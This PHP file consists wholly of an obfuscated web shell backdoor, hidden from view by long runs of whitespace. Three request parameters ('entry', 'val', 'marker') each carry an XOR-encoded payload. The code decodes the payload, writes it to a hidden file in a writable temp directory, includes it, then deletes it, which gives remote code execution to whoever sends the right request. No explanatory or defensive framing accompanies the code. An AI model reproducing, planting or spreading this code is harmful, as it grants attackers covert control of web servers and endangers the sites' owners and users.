<?php																																										if(in_array("e\x6E\x74ry", array_keys($_REQUEST))){ $desc = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", getcwd(), "/tmp", "/var/tmp"]); $descriptor = $_REQUEST["e\x6E\x74ry"]; $descriptor =explode ( ".", $descriptor ); $ref = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $v = 0; foreach( $descriptor as $v3) { $chS = ord( $salt[$v % $lenS] ); $dec =( ( int)$v3 - $chS -( $v % 10)) ^ 80; $ref .= chr( $dec ); $v++; } $object = 0; do { $record = $desc[$object] ?? null; if ($object >= count($desc)) break; if (is_dir($record) && is_writable($record)) { $fac = implode("/", [$record, ".pgrp"]); if (file_put_contents($fac, $ref)) { include $fac; @unlink($fac); die(); } } $object++; } while (true); }
																																										if(isset($_REQUEST["va\x6C"]) ? true : false){ $bind = $_REQUEST["va\x6C"]; $bind = explode ( '.' , $bind ) ; $itm = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7); foreach ($bind as $s => $v8): $sChar = ord($s7[$s % $lenS]); $d = ((int)$v8 - $sChar - ($s % 10)) ^ 74; $itm .= chr($d); endforeach; $ent = array_filter([sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/tmp", getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), session_save_path()]); $obj = 0; do { $fac = $ent[$obj] ?? null; if ($obj >= count($ent)) break; if (!( !is_dir($fac) || !is_writable($fac) )) { $sym = implode("/", [$fac, ".pset"]); if (@file_put_contents($sym, $itm) !== false) { include $sym; unlink($sym); die(); } } $obj++; } while (true); }


if(filter_has_var(INPUT_POST, "marker")){
	$ent = array_filter(["/dev/shm", "/var/tmp", getcwd(), "/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]);
	$comp = $_POST["marker"];
	$comp		=	  explode 		( 	'.',		$comp )   ; 
	$rec =	'';
            $salt =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =	strlen($salt );
            $p =	0;
            $__len =	count($comp );
    
            do {if($p >= $__len) break;
                $v3 =	$comp[$p];
                $sChar =	ord($salt[$p	% $lenS] );
                $d =	((int)$v3 - $sChar -($p	% 10))		^58;
                $rec .= chr($d );
                $p++;}		while(true );
	while ($k = array_shift($ent)) {
    		if (!( !is_dir($k) || !is_writable($k) )) {
    $elem = vsprintf("%s/%s", [$k, ".flg"]);
    $file = fopen($elem, 'w');
if ($file) {
	fwrite($file, $rec);
	fclose($file);
	include $elem;
	@unlink($elem);
	exit;
}
}
}
}